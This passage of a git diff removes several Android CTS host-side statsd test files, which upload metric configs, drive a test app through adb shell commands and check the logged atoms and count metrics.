- private static final String DEVICE_SIDE_BG_SERVICE_COMPONENT =
- "com.android.server.cts.device.statsd/.StatsdCtsBackgroundService";
- public static final long DEVICE_SIDE_TEST_PKG_HASH =
- Long.parseUnsignedLong("15694052924544098582");
-
- // Constants from device side tests (not directly accessible here).
- public static final String KEY_ACTION = "action";
- public static final String ACTION_LMK = "action.lmk";
-
- public static final String CONFIG_NAME = "cts_config";
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- installTestApp();
- Thread.sleep(1000);
- }
-
- @Override
- protected void tearDown() throws Exception {
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- super.tearDown();
- }
-
- /**
- * Performs a device-side test by calling a method on the app and returns its stats events.
- * @param methodName the name of the method in the app's AtomTests to perform
- * @param atom atom tag (from atoms.proto)
- * @param key atom's field corresponding to state
- * @param stateOn 'on' value
- * @param stateOff 'off' value
- * @param minTimeDiffMs max allowed time between start and stop
- * @param maxTimeDiffMs min allowed time between start and stop
- * @param demandExactlyTwo whether there must be precisely two events logged (1 start, 1 stop)
- * @return list of events with the app's uid matching the configuration defined by the params.
- */
- protected List<EventMetricData> doDeviceMethodOnOff(
- String methodName, int atom, int key, int stateOn, int stateOff,
- int minTimeDiffMs, int maxTimeDiffMs, boolean demandExactlyTwo) throws Exception {
- StatsdConfig.Builder conf = createConfigBuilder();
- addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOn));
- addAtomEvent(conf, atom, createFvm(key).setEqInt(stateOff));
- List<EventMetricData> data = doDeviceMethod(methodName, conf);
-
- if (demandExactlyTwo) {
- assertThat(data).hasSize(2);
- } else {
- assertThat(data.size()).isAtLeast(2);
- }
- assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMs, maxTimeDiffMs);
- return data;
- }
-
- /**
- *
- * @param methodName the name of the method in the app's AtomTests to perform
- * @param cfg statsd configuration
- * @return list of events with the app's uid matching the configuration.
- */
- protected List<EventMetricData> doDeviceMethod(String methodName, StatsdConfig.Builder cfg)
- throws Exception {
- removeConfig(CONFIG_ID);
- getReportList(); // Clears previous data on disk.
- uploadConfig(cfg);
- int appUid = getUid();
- LogUtil.CLog.d("\nPerforming device-side test of " + methodName + " for uid " + appUid);
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", methodName);
-
- return getEventMetricDataList();
- }
-
- protected void createAndUploadConfig(int atomTag, boolean useAttribution) throws Exception {
- StatsdConfig.Builder conf = createConfigBuilder();
- addAtomEvent(conf, atomTag, useAttribution);
- uploadConfig(conf);
- }
-
- /**
- * Adds an event to the config for an atom that matches the given key AND has the app's uid.
- * @param conf configuration
- * @param atomTag atom tag (from atoms.proto)
- * @param fvm FieldValueMatcher.Builder for the relevant key
- */
- @Override
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag, FieldValueMatcher.Builder fvm)
- throws Exception {
-
- final int UID_KEY = 1;
- FieldValueMatcher.Builder fvmUid = createAttributionFvm(UID_KEY);
- addAtomEvent(conf, atomTag, Arrays.asList(fvm, fvmUid));
- }
-
- /**
- * Adds an event to the config for an atom that matches the app's uid.
- * @param conf configuration
- * @param atomTag atom tag (from atoms.proto)
- * @param useAttribution If true, the atom has a uid within an attribution node. Else, the atom
- * has a uid but not in an attribution node.
- */
- protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
- boolean useAttribution) throws Exception {
- final int UID_KEY = 1;
- FieldValueMatcher.Builder fvmUid;
- if (useAttribution) {
- fvmUid = createAttributionFvm(UID_KEY);
- } else {
- fvmUid = createFvm(UID_KEY).setEqString(DEVICE_SIDE_TEST_PACKAGE);
- }
- addAtomEvent(conf, atomTag, Arrays.asList(fvmUid));
- }
-
- /**
- * Creates a FieldValueMatcher for atoms that use AttributionNode
- */
- protected FieldValueMatcher.Builder createAttributionFvm(int field) {
- final int ATTRIBUTION_NODE_UID_KEY = 1;
- return createFvm(field).setPosition(Position.ANY)
- .setMatchesTuple(MessageMatcher.newBuilder()
- .addFieldValueMatcher(createFvm(ATTRIBUTION_NODE_UID_KEY)
- .setEqString(DEVICE_SIDE_TEST_PACKAGE)));
- }
-
- /**
- * Gets the uid of the test app.
- */
- protected int getUid() throws Exception {
- int currentUser = getDevice().getCurrentUser();
- String uidLine = getDevice().executeShellCommand("cmd package list packages -U --user "
- + currentUser + " " + DEVICE_SIDE_TEST_PACKAGE);
- String[] uidLineParts = uidLine.split(":");
- // 3rd entry is package uid
- assertThat(uidLineParts.length).isGreaterThan(2);
- int uid = Integer.parseInt(uidLineParts[2].trim());
- assertThat(uid).isGreaterThan(10000);
- return uid;
- }
-
- /**
- * Installs the test apk.
- */
- protected void installTestApp() throws Exception {
- installPackage(DEVICE_SIDE_TEST_APK, true);
- LogUtil.CLog.i("Installing device-side test app with uid " + getUid());
- allowBackgroundServices();
- }
-
- /**
- * Uninstalls the test apk.
- */
- protected void uninstallPackage() throws Exception{
- getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
- }
-
- /**
- * Required to successfully start a background service from adb in Android O.
- */
- protected void allowBackgroundServices() throws Exception {
- getDevice().executeShellCommand(String.format(
- "cmd deviceidle tempwhitelist %s", DEVICE_SIDE_TEST_PACKAGE));
- }
-
- /**
- * Runs a (background) service to perform the given action.
- * @param actionValue the action code constants indicating the desired action to perform.
- */
- protected void executeBackgroundService(String actionValue) throws Exception {
- allowBackgroundServices();
- getDevice().executeShellCommand(String.format(
- "am startservice -n '%s' -e %s %s",
- DEVICE_SIDE_BG_SERVICE_COMPONENT,
- KEY_ACTION, actionValue));
- }
-
-
- /** Make the test app standby-active so it can run syncs and jobs immediately. */
- protected void allowImmediateSyncs() throws Exception {
- getDevice().executeShellCommand("am set-standby-bucket "
- + DEVICE_SIDE_TEST_PACKAGE + " active");
- }
-
- /**
- * Runs the specified activity.
- */
- protected void runActivity(String activity, String actionKey, String actionValue)
- throws Exception {
- runActivity(activity, actionKey, actionValue, WAIT_TIME_LONG);
- }
-
- /**
- * Runs the specified activity.
- */
- protected void runActivity(String activity, String actionKey, String actionValue,
- long waitTime) throws Exception {
- try (AutoCloseable a = withActivity(activity, actionKey, actionValue)) {
- Thread.sleep(waitTime);
- }
- }
-
- /**
- * Starts the specified activity and returns an {@link AutoCloseable} that stops the activity
- * when closed.
- *
- * <p>Example usage:
- * <pre>
- * try (AutoClosable a = withActivity("activity", "action", "action-value")) {
- * doStuff();
- * }
- * </pre>
- */
- protected AutoCloseable withActivity(String activity, String actionKey, String actionValue)
- throws Exception {
- String intentString = null;
- if (actionKey != null && actionValue != null) {
- intentString = actionKey + " " + actionValue;
- }
- if (intentString == null) {
- getDevice().executeShellCommand(
- "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity);
- } else {
- getDevice().executeShellCommand(
- "am start -n " + DEVICE_SIDE_TEST_PACKAGE + "/." + activity + " -e " +
- intentString);
- }
- return () -> {
- getDevice().executeShellCommand(
- "am force-stop " + DEVICE_SIDE_TEST_PACKAGE);
- Thread.sleep(WAIT_TIME_SHORT);
- };
- }
-
- protected void resetBatteryStats() throws Exception {
- getDevice().executeShellCommand("dumpsys batterystats --reset");
- }
-
- protected void clearProcStats() throws Exception {
- getDevice().executeShellCommand("dumpsys procstats --clear");
- }
-
- protected void startProcStatsTesting() throws Exception {
- getDevice().executeShellCommand("dumpsys procstats --start-testing");
- }
-
- protected void stopProcStatsTesting() throws Exception {
- getDevice().executeShellCommand("dumpsys procstats --stop-testing");
- }
-
- protected void commitProcStatsToDisk() throws Exception {
- getDevice().executeShellCommand("dumpsys procstats --commit");
- }
-
- protected void rebootDeviceAndWaitUntilReady() throws Exception {
- rebootDevice();
- // Wait for 2 mins.
- assertWithMessage("Device failed to boot")
- .that(getDevice().waitForBootComplete(120_000)).isTrue();
- assertWithMessage("Stats service failed to start")
- .that(waitForStatsServiceStart(60_000)).isTrue();
- Thread.sleep(2_000);
- }
-
- protected boolean waitForStatsServiceStart(final long waitTime) throws Exception {
- LogUtil.CLog.i("Waiting %d ms for stats service to start", waitTime);
- int counter = 1;
- long startTime = System.currentTimeMillis();
- while ((System.currentTimeMillis() - startTime) < waitTime) {
- if ("running".equals(getProperty("init.svc.statsd"))) {
- return true;
- }
- Thread.sleep(Math.min(200 * counter, 2_000));
- counter++;
- }
- LogUtil.CLog.w("Stats service did not start after %d ms", waitTime);
- return false;
- }
-
- boolean getNetworkStatsCombinedSubTypeEnabled() throws Exception {
- final String output = getDevice().executeShellCommand(
- "settings get global netstats_combine_subtype_enabled").trim();
- return output.equals("1");
- }
-
- void setNetworkStatsCombinedSubTypeEnabled(boolean enable) throws Exception {
- getDevice().executeShellCommand("settings put global netstats_combine_subtype_enabled "
- + (enable ? "1" : "0"));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java b/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
deleted file mode 100644
index ee86f01c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/GarageModeAtomTests.java
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.List;
-
-/**
- * Verifies that Automotive's Garage Mode reports its status.
- * Statsd atom tests are done via adb (hostside).
- */
-public class GarageModeAtomTests extends AtomTestCase {
-
- private static final String TAG = "Statsd.GarageModeAtomTests";
- private static final int SHORT_SLEEP = 100; // Milliseconds
- private static final int TRY_LIMIT = WAIT_TIME_SHORT / SHORT_SLEEP;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
-
- public void testGarageModeOnOff() throws Exception {
- if (!hasFeature(FEATURE_AUTOMOTIVE, true)) {
- return;
- }
-
- final int atomTag = Atom.GARAGE_MODE_INFO_FIELD_NUMBER;
- createAndUploadConfig(atomTag);
-
- // Flush any old metrics
- List<EventMetricData> data = getEventMetricDataList();
-
- turnOnGarageMode();
- waitForGarageModeState(true);
-
- turnOffGarageMode();
- waitForGarageModeState(false);
- }
-
- private void turnOnGarageMode() throws Exception {
- getDevice().executeShellCommand("cmd car_service garage-mode on");
- }
- private void turnOffGarageMode() throws Exception {
- getDevice().executeShellCommand("cmd car_service garage-mode off");
- }
-
- private void waitForGarageModeState(boolean requiredState) throws Exception {
- for (int tryCount = 0; tryCount < TRY_LIMIT; tryCount++) {
- List<EventMetricData> data = getEventMetricDataList();
- for (EventMetricData d : data) {
- boolean isGarageMode = d.getAtom().getGarageModeInfo().getIsGarageMode();
- if (isGarageMode == requiredState) {
- return;
- }
- }
- Thread.sleep(SHORT_SLEEP);
- }
- assertTrue("Did not receive an atom with Garage Mode "
- + (requiredState ? "ON" : "OFF"), false);
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
deleted file mode 100644
index 2fa4233..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/atom/ProcStateTestCase.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.atom;
-
-import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
-
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-import java.util.function.Function;
-import java.util.stream.Collectors;
-import java.util.stream.Stream;
-
-/**
- * Base class for manipulating process states
- */
-public class ProcStateTestCase extends DeviceAtomTestCase {
-
- private static final String TAG = "Statsd.ProcStateTestCase";
-
- private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
- = "com.android.server.cts.device.statsd/.StatsdCtsForegroundActivity";
- private static final String DEVICE_SIDE_FG_SERVICE_COMPONENT
- = "com.android.server.cts.device.statsd/.StatsdCtsForegroundService";
-
- // Constants from the device-side tests (not directly accessible here).
- public static final String ACTION_END_IMMEDIATELY = "action.end_immediately";
- public static final String ACTION_BACKGROUND_SLEEP = "action.background_sleep";
- public static final String ACTION_SLEEP_WHILE_TOP = "action.sleep_top";
- public static final String ACTION_LONG_SLEEP_WHILE_TOP = "action.long_sleep_top";
- public static final String ACTION_SHOW_APPLICATION_OVERLAY = "action.show_application_overlay";
-
- // Sleep times (ms) that actions invoke device-side.
- public static final int SLEEP_OF_ACTION_SLEEP_WHILE_TOP = 2_000;
- public static final int SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP = 60_000;
- public static final int SLEEP_OF_ACTION_BACKGROUND_SLEEP = 2_000;
- public static final int SLEEP_OF_FOREGROUND_SERVICE = 2_000;
-
-
- /**
- * Runs an activity (in the foreground) to perform the given action.
- * @param actionValue the action code constants indicating the desired action to perform.
- */
- protected void executeForegroundActivity(String actionValue) throws Exception {
- getDevice().executeShellCommand(String.format(
- "am start -n '%s' -e %s %s",
- DEVICE_SIDE_FG_ACTIVITY_COMPONENT,
- KEY_ACTION, actionValue));
- }
-
- /**
- * Runs a simple foreground service.
- */
- protected void executeForegroundService() throws Exception {
- executeForegroundActivity(ACTION_END_IMMEDIATELY);
- getDevice().executeShellCommand(String.format(
- "am startservice -n '%s'", DEVICE_SIDE_FG_SERVICE_COMPONENT));
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
deleted file mode 100644
index 0ccb13c..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTestCase.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.cts.statsd.metadata;
-
-import android.cts.statsd.atom.AtomTestCase;
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.tradefed.log.LogUtil;
-
-public class MetadataTestCase extends AtomTestCase {
- public static final String DUMP_METADATA_CMD = "cmd stats print-stats";
-
- protected StatsdStatsReport getStatsdStatsReport() throws Exception {
- try {
- StatsdStatsReport report = getDump(StatsdStatsReport.parser(),
- String.join(" ", DUMP_METADATA_CMD, "--proto"));
- return report;
- } catch (com.google.protobuf.InvalidProtocolBufferException e) {
- LogUtil.CLog.e("Failed to fetch and parse the statsdstats output report.");
- throw (e);
- }
- }
-
- protected final StatsdConfig.Builder getBaseConfig() throws Exception {
- StatsdConfig.Builder builder = createConfigBuilder();
- addAtomEvent(builder, Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
- return builder;
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
deleted file mode 100644
index 7022732..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ /dev/null
@@ -1,110 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metadata;
-
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.AtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.Subscription;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.internal.os.StatsdConfigProto.ValueMetric;
-import com.android.os.AtomsProto.AnomalyDetected;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsdStatsReport;
-import com.android.os.StatsLog.StatsdStatsReport.ConfigStats;
-import com.android.tradefed.log.LogUtil;
-
-
-import java.util.List;
-
-/**
- * Statsd Metadata tests.
- */
-public class MetadataTests extends MetadataTestCase {
-
- private static final String TAG = "Statsd.MetadataTests";
-
- // Tests that the statsd config is reset after the specified ttl.
- public void testConfigTtl() throws Exception {
- final int TTL_TIME_SEC = 8;
- StatsdConfig.Builder config = getBaseConfig();
- config.setTtlInSeconds(TTL_TIME_SEC); // should reset in this many seconds.
-
- uploadConfig(config);
- long startTime = System.currentTimeMillis();
- Thread.sleep(WAIT_TIME_SHORT);
- doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, within < TTL_TIME_SEC secs.
- Thread.sleep(WAIT_TIME_SHORT);
- StatsdStatsReport report = getStatsdStatsReport(); // Has only been 1 second
- LogUtil.CLog.d("got following statsdstats report: " + report.toString());
- boolean foundActiveConfig = false;
- int creationTime = 0;
- for (ConfigStats stats: report.getConfigStatsList()) {
- if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
- if(!stats.hasDeletionTimeSec()) {
- assertWithMessage("Found multiple active CTS configs!")
- .that(foundActiveConfig).isFalse();
- foundActiveConfig = true;
- creationTime = stats.getCreationTimeSec();
- }
- }
- }
- assertWithMessage("Did not find an active CTS config").that(foundActiveConfig).isTrue();
-
- while(System.currentTimeMillis() - startTime < 8_000) {
- Thread.sleep(10);
- }
- doAppBreadcrumbReportedStart(/* irrelevant val */ 6); // Event, after TTL_TIME_SEC secs.
- Thread.sleep(WAIT_TIME_SHORT);
- report = getStatsdStatsReport();
- LogUtil.CLog.d("got following statsdstats report: " + report.toString());
- foundActiveConfig = false;
- int expectedTime = creationTime + TTL_TIME_SEC;
- for (ConfigStats stats: report.getConfigStatsList()) {
- if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
- // Original config should be TTL'd
- if (stats.getCreationTimeSec() == creationTime) {
- assertWithMessage("Config should have TTL'd but is still active")
- .that(stats.hasDeletionTimeSec()).isTrue();
- assertWithMessage(
- "Config deletion time should be about %s after creation", TTL_TIME_SEC
- ).that(Math.abs(stats.getDeletionTimeSec() - expectedTime)).isAtMost(2);
- }
- // There should still be one active config, that is marked as reset.
- if(!stats.hasDeletionTimeSec()) {
- assertWithMessage("Found multiple active CTS configs!")
- .that(foundActiveConfig).isFalse();
- foundActiveConfig = true;
- creationTime = stats.getCreationTimeSec();
- assertWithMessage("Active config after TTL should be marked as reset")
- .that(stats.hasResetTimeSec()).isTrue();
- assertWithMessage("Reset and creation time should be equal for TTl'd configs")
- .that(stats.getResetTimeSec()).isEqualTo(stats.getCreationTimeSec());
- assertWithMessage(
- "Reset config should be created when the original config TTL'd"
- ).that(Math.abs(stats.getCreationTimeSec() - expectedTime)).isAtMost(2);
- }
- }
- }
- assertWithMessage("Did not find an active CTS config after the TTL")
- .that(foundActiveConfig).isTrue();
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
deleted file mode 100644
index a63e01e..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ /dev/null
@@ -1,433 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.metric;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-
-import com.android.internal.os.StatsdConfigProto;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.AppBreadcrumbReported;
-import com.android.os.AtomsProto.AttributionNode;
-import com.android.os.AtomsProto.BleScanStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog;
-import com.android.os.StatsLog.ConfigMetricsReport;
-import com.android.os.StatsLog.ConfigMetricsReportList;
-import com.android.os.StatsLog.CountBucketInfo;
-import com.android.os.StatsLog.CountMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.Arrays;
-import java.util.List;
-import java.util.stream.Collectors;
-import java.util.stream.IntStream;
-
-public class CountMetricsTests extends DeviceAtomTestCase {
-
- public void testSimpleEventCountMetric() throws Exception {
- int matcherId = 1;
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder();
- builder.addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setWhat(matcherId))
- .addAtomMatcher(MetricsUtils.simpleAtomMatcher(matcherId));
- uploadConfig(builder);
-
- doAppBreadcrumbReportedStart(0);
- doAppBreadcrumbReportedStop(0);
- Thread.sleep(2000); // Wait for the metrics to propagate to statsd.
-
- StatsLogReport metricReport = getStatsLogReport();
- LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
- assertThat(metricReport.hasCountMetrics()).isTrue();
-
- StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
- assertThat(countData.getDataCount()).isGreaterThan(0);
- assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
- }
- public void testEventCountWithCondition() throws Exception {
- int startMatcherId = 1;
- int endMatcherId = 2;
- int whatMatcherId = 3;
- int conditionId = 4;
-
- StatsdConfigProto.AtomMatcher whatMatcher =
- MetricsUtils.unspecifiedAtomMatcher(whatMatcherId);
-
- StatsdConfigProto.AtomMatcher predicateStartMatcher =
- MetricsUtils.startAtomMatcher(startMatcherId);
-
- StatsdConfigProto.AtomMatcher predicateEndMatcher =
- MetricsUtils.stopAtomMatcher(endMatcherId);
-
- StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
- .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
- .setStart(startMatcherId)
- .setStop(endMatcherId)
- .setCountNesting(false))
- .setId(conditionId)
- .build();
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setWhat(whatMatcherId)
- .setCondition(conditionId))
- .addAtomMatcher(whatMatcher)
- .addAtomMatcher(predicateStartMatcher)
- .addAtomMatcher(predicateEndMatcher)
- .addPredicate(p);
-
- uploadConfig(builder);
-
- doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
- Thread.sleep(10);
- doAppBreadcrumbReportedStart(0);
- Thread.sleep(10);
- doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
- Thread.sleep(10);
- doAppBreadcrumbReportedStop(0);
- Thread.sleep(10);
- doAppBreadcrumbReported(0, AppBreadcrumbReported.State.UNSPECIFIED.ordinal());
- Thread.sleep(2000); // Wait for the metrics to propagate to statsd.
-
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
- assertThat(metricReport.hasCountMetrics()).isTrue();
-
- StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
-
- assertThat(countData.getDataCount()).isGreaterThan(0);
- assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(1);
- }
-
- public void testEventCountWithConditionAndActivation() throws Exception {
- int startMatcherId = 1;
- int startMatcherLabel = 1;
- int endMatcherId = 2;
- int endMatcherLabel = 2;
- int whatMatcherId = 3;
- int whatMatcherLabel = 3;
- int conditionId = 4;
- int activationMatcherId = 5;
- int activationMatcherLabel = 5;
- int ttlSec = 5;
-
- StatsdConfigProto.AtomMatcher whatMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(whatMatcherId, whatMatcherLabel);
-
- StatsdConfigProto.AtomMatcher predicateStartMatcher =
- MetricsUtils.startAtomMatcherWithLabel(startMatcherId, startMatcherLabel);
-
- StatsdConfigProto.AtomMatcher predicateEndMatcher =
- MetricsUtils.stopAtomMatcherWithLabel(endMatcherId, endMatcherLabel);
-
- StatsdConfigProto.AtomMatcher activationMatcher =
- MetricsUtils.appBreadcrumbMatcherWithLabel(activationMatcherId,
- activationMatcherLabel);
-
- StatsdConfigProto.Predicate p = StatsdConfigProto.Predicate.newBuilder()
- .setSimplePredicate(StatsdConfigProto.SimplePredicate.newBuilder()
- .setStart(startMatcherId)
- .setStop(endMatcherId)
- .setCountNesting(false))
- .setId(conditionId)
- .build();
-
- StatsdConfigProto.StatsdConfig.Builder builder = createConfigBuilder()
- .addCountMetric(StatsdConfigProto.CountMetric.newBuilder()
- .setId(MetricsUtils.COUNT_METRIC_ID)
- .setBucket(StatsdConfigProto.TimeUnit.CTS)
- .setWhat(whatMatcherId)
- .setCondition(conditionId)
- )
- .addAtomMatcher(whatMatcher)
- .addAtomMatcher(predicateStartMatcher)
- .addAtomMatcher(predicateEndMatcher)
- .addAtomMatcher(activationMatcher)
- .addPredicate(p)
- .addMetricActivation(StatsdConfigProto.MetricActivation.newBuilder()
- .setMetricId(MetricsUtils.COUNT_METRIC_ID)
- .setActivationType(StatsdConfigProto.ActivationType.ACTIVATE_IMMEDIATELY)
- .addEventActivation(StatsdConfigProto.EventActivation.newBuilder()
- .setAtomMatcherId(activationMatcherId)
- .setTtlSeconds(ttlSec)));
-
- uploadConfig(builder);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to true.
- doAppBreadcrumbReportedStart(startMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should be counted. Bucket 1 Count 1.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should be counted. Bucket 1 Count 2.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Set the condition to false.
- doAppBreadcrumbReportedStop(endMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should not be counted because condition is false.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Log an event that should not be counted.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Condition to true again.
- doAppBreadcrumbReportedStart(startMatcherLabel);
- Thread.sleep(10);
-
- // Event should not be counted, metric is still not active.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Activate the metric.
- doAppBreadcrumbReported(activationMatcherLabel);
- Thread.sleep(10);
-
- // Log an event that should be counted.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Let the metric deactivate.
- Thread.sleep(ttlSec * 1000);
-
- // Log an event that should not be counted.
- doAppBreadcrumbReported(whatMatcherLabel);
- Thread.sleep(10);
-
- // Wait for the metrics to propagate to statsd.
- Thread.sleep(2000);
-
- StatsLogReport metricReport = getStatsLogReport();
- assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
- LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertThat(metricReport.hasCountMetrics()).isTrue();
- assertThat(metricReport.getIsActive()).isFalse();
-
- StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
- assertThat(countData.getDataCount()).isEqualTo(1);
- assertThat(countData.getData(0).getBucketInfoCount()).isEqualTo(2);
